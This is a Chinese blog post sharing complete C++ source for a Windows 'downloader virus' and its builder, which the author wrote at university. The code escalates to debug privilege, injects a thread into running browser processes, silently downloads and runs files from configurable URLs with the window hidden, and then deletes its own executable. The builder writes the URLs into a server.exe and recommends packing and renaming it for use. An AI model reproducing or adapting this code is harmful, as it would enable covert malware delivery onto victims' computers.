这是本人大学期间的写的,对于现在的win7已经无效,且已经能被查杀,所以放出源码供大伙参考下。

还有个生成器,可以指定需要下载的其他病毒,然后生成下载者病毒。

转载请注明出处uxyheaven csdn博客

基本思路是

step1

提权

step2

得到指定函数的指针

step3

打开目标进程(这里用的是浏览器的进程)

step4

把病毒的线程写入宿主进程里

step5

让宿主进程执行病毒线程

step6

病毒线程从网上下载特定的文件并且执行

/************************************************************
*   Some Rights Reserved:Xing Yao*   文件名称: downer.h
*   简要描述: 函数申明、结构体的定义
*   作者: 邢尧*  当前版本: vX.y
*   修改: 邢尧
*   完成日期: 2008/11/14
*   修订说明: 改写了实现方式,原来的是插入dll,由dll启动远程线程,现在直接在进程里插入代码。************************************************************/
// downer.h : 下载者服务端头文件
//#include <windows.h>// TODO: 在此处引用程序需要的其他头文件
#pragma comment( linker, "/subsystem:\"windows\" /entry:\"mainCRTStartup\"" ) // 设置入口地址,隐藏控制台界面
// 使用6.0版的Common-Controls
#pragma comment(linker,"/manifestdependency:\"type='win32' name='Microsoft.Windows.Common-Controls' version='6.0.0.0' processorArchitecture='x86' publicKeyToken='6595b64144ccf1df' language='*'\"")
/*
// 自定义加载的库
#pragma comment(lib,"kernel32.lib")
#pragma comment(lib,"shell32.lib")
#pragma comment(lib,"msvcrt.lib")// 自定义函数入口
//#pragma comment(linker, "/ENTRY:EntryPoint")// 自定义对齐方式
#pragma comment(linker, "/align:64")// 合并区段
#pragma comment(linker, "/merge:.rdata=.data")
#pragma comment(linker, "/merge:.text=.data")
//#pragma comment(linker, "/MERGE:.reloc=.data")
*/// 定义线程所需数据结构体
typedef struct THREADDATA{int   iSize;              // 代码空间大小char  pMessageBox[16];     // MessageBox参数2or3,用于调试DWORD dwMessageBox;          // MessageBox入口地址char  pLoadLibrary[16];        // LoadLibrary参数1DWORD dwLoadLibrary;       // LoadLibrary入口地址char  pGetProcAddress[16];    // LoadLibrary参数2DWORD dwGetProcAddress;        // GetProcAddress入口地址char pShellExecute[16];        // ShellExecute参数2DWORD dwShellExecute;     // ShellExecute入口地址DWORD dwURLDownloadToFile;   // URLDownloadToFile入口地址char pDeleteFile[MAX_PATH]; // DeleteFile参数1DWORD dwDeleteFile;         // DeleteFile入口地址DWORD dwSleep;             // Sleep入口地址char virusURL[4][64];       // 病毒的地址char virusFile[4][64];      // 病毒文件名}pTHREADDATA;const char processName[8][16] = {"iexplore.exe", "IEXPLORE.EXE", "TheWorld.exe", "Maxthon.exe", "TTraveler.exe"};const char virus[8][64] = {"*0A0A0A0A0A0A0A0A0A0A0A0A0A0A0A0A0A0A0A0A0A0A0A0A0A0A0A0A0A0A0", "*1A1A1A1A1A1A1A1A1A1A1A1A1A1A1A1A1A1A1A1A1A1A1A1A1A1A1A1A1A1A1","*0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0B0","*1B1B1B1B1B1B1B1B1B1B1B1B1B1B1B1B1B1B1B1B1B1B1B1B1B1B1B1B1B1B1","*0C0C0C0C0C0C0C0C0C0C0C0C0C0C0C0C0C0C0C0C0C0C0C0C0C0C0C0C0C0C0","*1C1C1C1C1C1C1C1C1C1C1C1C1C1C1C1C1C1C1C1C1C1C1C1C1C1C1C1C1C1C1","*0D0D0D0D0D0D0D0D0D0D0D0D0D0D0D0D0D0D0D0D0D0D0D0D0D0D0D0D0D0D0","*1D1D1D1D1D1D1D1D1D1D1D1D1D1D1D1D1D1D1D1D1D1D1D1D1D1D1D1D1D1D1"};// 把本进程提至DEBUG权限
BOOL EnablePriv(void);// 获取进程ID号
DWORD GetProcID(char* processName);// 把线程插入某个进程里
bool Insert(char* processName, THREADDATA &threadData);// 释放资源文件
void CreatResFile(char* flieName, WORD resName, LPCTSTR resType);// 自删除函数
void KillMe(void);// 远程下载函数
DWORD WINAPI DownFiles(THREADDATA &threadData);//static void BreakPoint1 (void){}
// downer.cpp : 定义控制台应用程序的入口点。
////#include "stdafx.h"
#include "downer.h"
#include <Tlhelp32.h>int main(int argc, char* argv[])
{// 提权EnablePriv();// 初始化数据THREADDATA threadData;::ZeroMemory(&threadData, sizeof(THREADDATA));
/**/HINSTANCE hUser32 = ::LoadLibrary ("user32.dll");threadData.dwMessageBox = (DWORD)::GetProcAddress(hUser32 , "MessageBoxA");//::CopyMemory(threadData.pMessageBox, "hello\0", 16);HINSTANCE hShell32 = LoadLibrary("Shell32.dll");threadData.dwShellExecute = (DWORD)::GetProcAddress(hShell32, "ShellExecuteA");::CopyMemory(threadData.pShellExecute, "open\0", 16);HINSTANCE hUrlmon = ::LoadLibrary ("urlmon.dll");threadData.dwURLDownloadToFile = (DWORD)::GetProcAddress(hUrlmon, "URLDownloadToFileA");HINSTANCE hKernel32 = ::LoadLibrary ("Kernel32.dll");threadData.dwDeleteFile = (DWORD)::GetProcAddress(hKernel32, "DeleteFileA");char lpFileName[MAX_PATH];::GetModuleFileName(NULL, lpFileName, MAX_PATH);::CopyMemory(threadData.pDeleteFile, lpFileName, MAX_PATH);threadData.dwSleep = (DWORD)::GetProcAddress(hKernel32, "Sleep");for (int i = 0; i < 4; i++){::CopyMemory(threadData.virusURL[i], virus[i * 2], 64);::CopyMemory(threadData.virusFile[i], virus[i * 2 + 1], 64);//::MessageBoxA(NULL, threadData.virusURL[i], threadData.virusFile[i], NULL);}// 把代码插入进程,并执行for (int i = 0; i < 4; i++){//::MessageBox(NULL, (char *)processName[i], NULL, NULL);if (Insert((char *)processName[i], threadData)){break;}}//KillMe();return 0;
}BOOL EnablePriv()      // 提权
{HANDLE hToken;if ( OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES,&hToken) ){TOKEN_PRIVILEGES tkp;LookupPrivilegeValue( NULL, SE_DEBUG_NAME, &tkp.Privileges[0].Luid );      // 修改进程权限tkp.PrivilegeCount=1;tkp.Privileges[0].Attributes=SE_PRIVILEGE_ENABLED;AdjustTokenPrivileges( hToken, FALSE, &tkp, sizeof tkp, NULL, NULL );     // 通知系统修改进程权限return( (GetLastError() == ERROR_SUCCESS) );}return TRUE;
}// 获取进程ID号
DWORD GetProcID(char* processName)
{// 如无此进程则返回 0;// char str 进程名: .exe文件.HANDLE th = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);PROCESSENTRY32 pe = {sizeof(pe)};DWORD dwProcID = 0;BOOL bOK = Process32First(th, &pe);while (bOK){bOK = Process32Next(th, &pe);LPCTSTR lpszExeFile = strrchr(pe.szExeFile, '//');if(lpszExeFile == NULL)lpszExeFile = pe.szExeFile;elselpszExeFile++;if (strcmp(processName, (char *)lpszExeFile) == 0){dwProcID = pe.th32ProcessID;break;}}return dwProcID;
}// 把线程插入某个进程里,并执行
bool Insert(char* processName, THREADDATA &threadData)
{HANDLE hProcess = NULL;// 打开目标进程DWORD dwProcessId = GetProcID(processName);hProcess = OpenProcess(PROCESS_CREATE_THREAD | PROCESS_VM_OPERATION | PROCESS_VM_WRITE, FALSE, dwProcessId);if(NULL == hProcess){//::MessageBox(NULL, "OpenProcess Error!", NULL, NULL);return false;}//::MessageBox(NULL, processName, NULL, NULL);// 申请代码空间threadData.iSize = 1024 * 4;   //暂定线程体大小为4Kvoid *pThreadCode = ::VirtualAllocEx(hProcess, NULL, threadData.iSize, MEM_COMMIT| MEM_RESERVE, PAGE_EXECUTE_READWRITE);if (NULL == pThreadCode){//::MessageBox(NULL, "Code VirtualAllocEx Error!", NULL, NULL);return false;}// 写入数据if(!::WriteProcessMemory(hProcess, pThreadCode, &DownFiles, threadData.iSize, 0)){//::MessageBox(NULL, "Code WriteProcessMemory Error!", NULL, NULL);return false;}// 申请数据空间pTHREADDATA *pThreadData = (THREADDATA*)::VirtualAllocEx(hProcess, NULL, sizeof(THREADDATA),   MEM_COMMIT, PAGE_READWRITE);if (NULL == pThreadData){//::MessageBox(NULL, "Data VirtualAllocEx Error!", NULL, NULL);return false;}// 写入数据if( !::WriteProcessMemory(hProcess, pThreadData, &threadData, sizeof(THREADDATA), 0)){//::MessageBox(NULL, "Data WriteProcessMemory Error!", NULL, NULL);return false;}// 启动远程线程CreateRemoteThread(hProcess, NULL, 0, (LPTHREAD_START_ROUTINE)pThreadCode, pThreadData, 0, NULL);return true;
}// 自删除函数
void KillMe(void)
{
}// 远程下载函数
DWORD WINAPI DownFiles(THREADDATA &threadData)
{// 动态加载MessageBoxA函数/*typedef int (__stdcall *MYMessageBoxA)(HWND, LPCTSTR, LPCTSTR, DWORD);// 定义MessageBox函数MYMessageBoxA myMessageBoxA;myMessageBoxA =(MYMessageBoxA)threadData.dwMessageBox;//得到函数入口地址*/int i = 1;if (i != 1) goto start;HINSTANCE (WINAPI *MYMessageBox)(HWND, LPCTSTR, LPCTSTR, DWORD);        // 定义MessageBox函数(FARPROC&)MYMessageBox = (FARPROC&)threadData.dwMessageBox;//MYMessageBox(NULL, threadData.pMessageBox ,NULL, NULL);// 动态加载ShellExecute函数
start:HINSTANCE (WINAPI *MYShellExecute)(HWND, LPCTSTR, LPCTSTR, LPCTSTR ,LPCTSTR, int);(FARPROC&)MYShellExecute = (FARPROC&)threadData.dwShellExecute;// 动态加载URLDownloadToFile函数DWORD (WINAPI *MYURLDownloadToFile)(LPCTSTR, LPCTSTR, LPCTSTR ,DWORD, LPCTSTR);(FARPROC&)MYURLDownloadToFile = (FARPROC&)threadData.dwURLDownloadToFile;// 动态加载DeleteFile函数DWORD (WINAPI *MYDeleteFile)(LPCTSTR);(FARPROC&)MYDeleteFile = (FARPROC&)threadData.dwDeleteFile;// 动态加载Sleep函数DWORD (WINAPI *MYSleep)(DWORD);(FARPROC&)MYSleep = (FARPROC&)threadData.dwSleep;for (int i = 0; i < 4; i++){//MYMessageBox(NULL, threadData.virusURL[i] , threadData.virusFile[i], NULL);if (threadData.virusURL[i][0] != '*'){MYURLDownloadToFile(NULL, threadData.virusURL[i], threadData.virusFile[i], NULL, NULL);MYShellExecute(NULL, threadData.pShellExecute, threadData.virusFile[i], NULL, NULL, SW_HIDE);}}//MYMessageBox(NULL, threadData.pDeleteFile, NULL, NULL);MYSleep(1500); MYDeleteFile(threadData.pDeleteFile);return 0;
}//static void BreakPoint1 (void){}

生成器

// DownerReginaDlg.cpp : 实现文件
//#include "stdafx.h"
#include "DownerRegina.h"
#include "DownerReginaDlg.h"#ifdef _DEBUG
#define new DEBUG_NEW
#endif// 用于应用程序“关于”菜单项的 CAboutDlg 对话框class CAboutDlg : public CDialog
{
public:CAboutDlg();// 对话框数据enum { IDD = IDD_ABOUTBOX };protected:virtual void DoDataExchange(CDataExchange* pDX);    // DDX/DDV 支持// 实现
protected:DECLARE_MESSAGE_MAP()
};CAboutDlg::CAboutDlg() : CDialog(CAboutDlg::IDD)
{
}void CAboutDlg::DoDataExchange(CDataExchange* pDX)
{CDialog::DoDataExchange(pDX);
}BEGIN_MESSAGE_MAP(CAboutDlg, CDialog)
END_MESSAGE_MAP()// CDownerReginaDlg 对话框CDownerReginaDlg::CDownerReginaDlg(CWnd* pParent /*=NULL*/): CDialog(CDownerReginaDlg::IDD, pParent)
{m_hIcon = AfxGetApp()->LoadIcon(IDR_MAINFRAME);
}void CDownerReginaDlg::DoDataExchange(CDataExchange* pDX)
{CDialog::DoDataExchange(pDX);DDX_Control(pDX, IDC_RICHEDIT2_VIRUSURL, m_virusURL);DDX_Control(pDX, IDC_RICHEDIT2_VIRUSPATH, m_virusPath);
}BEGIN_MESSAGE_MAP(CDownerReginaDlg, CDialog)ON_WM_SYSCOMMAND()ON_WM_PAINT()ON_WM_QUERYDRAGICON()//}}AFX_MSG_MAPON_BN_CLICKED(IDC_BUTTON_BUILD, &CDownerReginaDlg::OnBnClickedButtonBuild)ON_BN_CLICKED(IDC_BUTTON_ABOUT, &CDownerReginaDlg::OnBnClickedButtonAbout)
END_MESSAGE_MAP()// CDownerReginaDlg 消息处理程序BOOL CDownerReginaDlg::OnInitDialog()
{CDialog::OnInitDialog();// 将“关于...”菜单项添加到系统菜单中。// IDM_ABOUTBOX 必须在系统命令范围内。ASSERT((IDM_ABOUTBOX & 0xFFF0) == IDM_ABOUTBOX);ASSERT(IDM_ABOUTBOX < 0xF000);CMenu* pSysMenu = GetSystemMenu(FALSE);if (pSysMenu != NULL){BOOL bNameValid;CString strAboutMenu;bNameValid = strAboutMenu.LoadString(IDS_ABOUTBOX);ASSERT(bNameValid);if (!strAboutMenu.IsEmpty()){pSysMenu->AppendMenu(MF_SEPARATOR);pSysMenu->AppendMenu(MF_STRING, IDM_ABOUTBOX, strAboutMenu);}}// 设置此对话框的图标。当应用程序主窗口不是对话框时,框架将自动//  执行此操作SetIcon(m_hIcon, TRUE);           // 设置大图标SetIcon(m_hIcon, FALSE);        // 设置小图标// TODO: 在此添加额外的初始化代码return TRUE;  // 除非将焦点设置到控件,否则返回 TRUE
}void CDownerReginaDlg::OnSysCommand(UINT nID, LPARAM lParam)
{if ((nID & 0xFFF0) == IDM_ABOUTBOX){CAboutDlg dlgAbout;dlgAbout.DoModal();}else{CDialog::OnSysCommand(nID, lParam);}
}// 如果向对话框添加最小化按钮,则需要下面的代码
//  来绘制该图标。对于使用文档/视图模型的 MFC 应用程序,
//  这将由框架自动完成。void CDownerReginaDlg::OnPaint()
{if (IsIconic()){CPaintDC dc(this); // 用于绘制的设备上下文SendMessage(WM_ICONERASEBKGND, reinterpret_cast<WPARAM>(dc.GetSafeHdc()), 0);// 使图标在工作区矩形中居中int cxIcon = GetSystemMetrics(SM_CXICON);int cyIcon = GetSystemMetrics(SM_CYICON);CRect rect;GetClientRect(&rect);int x = (rect.Width() - cxIcon + 1) / 2;int y = (rect.Height() - cyIcon + 1) / 2;// 绘制图标dc.DrawIcon(x, y, m_hIcon);}else{CDialog::OnPaint();}
}//当用户拖动最小化窗口时系统调用此函数取得光标
//显示。
HCURSOR CDownerReginaDlg::OnQueryDragIcon()
{return static_cast<HCURSOR>(m_hIcon);
}void CDownerReginaDlg::OnBnClickedButtonBuild()
{// TODO: 在此添加控件通知处理程序代码UpdateData(true);if (m_virusURL.GetLineCount() != m_virusPath.GetLineCount()){::MessageBox(NULL, "URL与Path总数不一致,请检查,注意最后一行不用输入回车!", NULL, NULL);return;     }if (m_virusURL.GetLineCount() > 4){::MessageBox(NULL, "抱歉bate1版目前只支持4个!", NULL, NULL);return;      }CreatResFile("server.exe", IDR_EXERES_DOWNER, "EXERES");/*CString buf;CString buf2;int size;m_virusURL.GetWindowTextA(buf);buf += "\r\n";m_virusPath.GetWindowTextA(buf2);buf += buf2;buf += "\r\n";buf += (char*)m_virusURL.GetLineCount();CFile file("server.exe", CFile::modeWrite);file.SeekToEnd();file.Write(buf, buf.GetLength());size = m_virusURL.GetLineCount();file.Write(&size, sizeof(int));size = buf.GetLength() + 8;file.Write(&size, sizeof(int));
*/::MessageBox(NULL, "server.exe已生成,建议加壳、改名使用!", NULL, NULL);UpdateData(false);
}void CDownerReginaDlg::OnBnClickedButtonAbout()
{// TODO: 在此添加控件通知处理程序代码CAboutDlg dlgAbout;dlgAbout.DoModal();}// 释放资源文件
bool CDownerReginaDlg::CreatResFile(char* flieName, WORD resName, LPCTSTR resType)
{HRSRC hResInfo;HGLOBAL hResData;DWORD dwSize, dwWritten;LPBYTE p;HANDLE hFile;// 查找所需的资源hResInfo = FindResource(NULL, MAKEINTRESOURCE(resName), resType);if (hResInfo == NULL){::MessageBox(NULL, "查找资源失败!", NULL, NULL);return true;}dwSize = SizeofResource(NULL, hResInfo);        // 获得资源尺寸hResData = LoadResource(NULL, hResInfo);      // 装载资源if(hResData == NULL){::MessageBox(NULL, "装载失败!", NULL, NULL);return true;}p = (LPBYTE)GlobalAlloc(GPTR, dwSize);     // 为数据分配空间if (p == NULL){::MessageBox(NULL,"分配内存失败!", NULL, NULL);return true;}::CopyMemory((LPVOID)p, (LPCVOID)LockResource(hResData), dwSize);hFile = CreateFile(flieName, GENERIC_WRITE | CREATE_ALWAYS, 0, NULL, CREATE_ALWAYS,0, NULL);        // 复制资源数据// 修改资源char buf[64];int address = 0x11B8 - 0x40;for (int i = 0; i < m_virusURL.GetLineCount(); i++){m_virusURL.GetLine(i, buf, 64);buf[strlen(buf) - 1] = '\0';address += 0x40;::CopyMemory((LPVOID)(p + address), buf, 64);m_virusPath.GetLine(i, buf, 64);buf[strlen(buf) - 1] = '\0';address += 0x40;::CopyMemory((LPVOID)(p + address), buf, 64);}if(hFile != NULL){WriteFile(hFile, (LPCVOID)p, dwSize, &dwWritten, NULL);        // 创建文件,写数据}else{::MessageBox(NULL, "创建文件失败!", NULL, NULL);::GlobalFree((HGLOBAL)p);return true;}CloseHandle(hFile);       // 收尾工作,释放资源::GlobalFree((HGLOBAL)p);return false;
}

windows下的内存型下载者病毒相关推荐

  1. http 断点续传,Windows下HTTP方式单线程下载

    http 断点续传 www.diybl.com    时间 : 2011-05-20  作者:匿名   编辑:hawk 点击:  1128 [ 评论 ] - - 原理: 1. 打开本地文件fopen, ...

  2. windows下基于Aria2的下载工具

    windows下基于Aria2的下载工具 Motrix https://motrix.app/ https://www.iplaysoft.com/motrix.html Photon https:/ ...

  3. Windows下SSH客户端的下载

    Windows下SSH客户端的下载 因为SSH远程操作涉及自己的电脑安全,建议在如下官网免费下载 1.putty: http://www.chiark.greenend.org.uk/~sgtatha ...

  4. linux 查看java最大内存配置,Linux和Windows下的内存设置

    你对Tomcat JVM内存设置是否了解,本文向大家介绍一下Linux和Windows操作系统下Tomcat JVM内存设置方法,希望对你的学习有所帮助. Linux下修改Tomcat JVM内存设置 ...

  5. linux配置tomcat内存配置文件,Linux与Windows下tomcat内存设置

    Linux下修改JVM内存大小: 要添加在tomcat 的bin 下catalina.sh文件中,找到cygwin=false,在这一行的前面加入参数,具体如下# vi TOMCAT_HOME/bin ...

  6. Windows 下使用 BaiduExporter + Aria2 下载百度网盘文件

    百度盘下载限速,Aria2 可以明显加大下载速度,最近研究了一下如何在 Windows 下使用 Aria2,需要以下三个工具配合使用: BaiduExporter:百度云盘导出下载的 Chrome 插 ...

  7. Windows下动态内存分配方式http://whx.tzgt.gov.cn/newOperate/html/7/71/711/3938.html

    这里的"动态内存"包含以下两个方面的内容:   1.内存.这里的"内存"指的是进程的虚拟内存空间.在Win32环境下,每一个进程拥有独立的,大小为4G(0x00 ...

  8. Windows下的Apache的下载与安装

    PHP的运行必然少不了服务器的支持,何为服务器?通俗讲就是在一台计算机上,安装个服务器软件,这台计算机便可以称之为服务器,服务器软件和计算机本身的操作系统是两码事,计算机自身的操作系统可以为linux ...

  9. nvidia cuda windows下gpu内存管理

    mxnet 出现错误 RuntimeError: CUDA out of memory. Tried to allocate windows下可以这样做:打开cmd窗口,输入nvidai-smi查看显 ...

  10. Windows下mysql数据库的下载、安装、使用(详细)(有后续)

    一.下载MySQL 下载地址:https://dev.mysql.com/downloads/mysql/ 从第一步的页面往下滑,找到下面的位置---------------------------- ...

最新文章

  1. ES6 系列之 let 和 const
  2. 关于.h .lib .dll的总结
  3. Elasticsearch 5.3.x 使用 Head 插件
  4. Turn off UAC, Windows Firewall, Set time zone
  5. 博弈论 斯坦福game theory stanford week 1.1
  6. 【线性变换/矩阵及乘法】- 图解线性代数 03
  7. 助力苏州、星火相传,广苏两地微软技术俱乐部交流纪实
  8. 图解C语言的希尔排序
  9. 【渝粤题库】国家开放大学2021春1374班级管理题目
  10. if or函数套用_IF函数和OR函数的套用我想利用IF函数和 – 手机爱问
  11. 解决长email在表格td中不自动换行的问题 CSS强制不换行
  12. Hadoop1.9安装配置
  13. 基于依赖统计的方法——TPDA
  14. 复杂场景下的多目标跟踪 --心得
  15. 计算机无法显示外接硬盘,移动硬盘不显示怎么办解决教程
  16. SQL Server中查询累计和与滑动平均值
  17. python爬取拉勾网_使用requests爬取拉勾网python职位数据
  18. word打开文档很久很慢_打开Office文档很慢的解决办法
  19. html火焰字效果,如何用PS制作火焰字特效
  20. 密钥加密法(指针应用)

热门文章

  1. 2022年最新区块链电商赋能企业的解决方案
  2. Quartz定时任务框架(二):Trigger触发器详解
  3. 西门子g120变频器接线图_【直播】S71200与SINAMICS G120变频器的profinet通信
  4. 随机过程 - 马尔可夫链
  5. python面试题:python计算股票收益最大化
  6. eNSP模拟无线AC和AP
  7. Android Studio的反编译工具使用。
  8. 小米手机怎么截屏?小米手机区域截屏
  9. AD转换及其相关背景知识
  10. PalmOS开发教程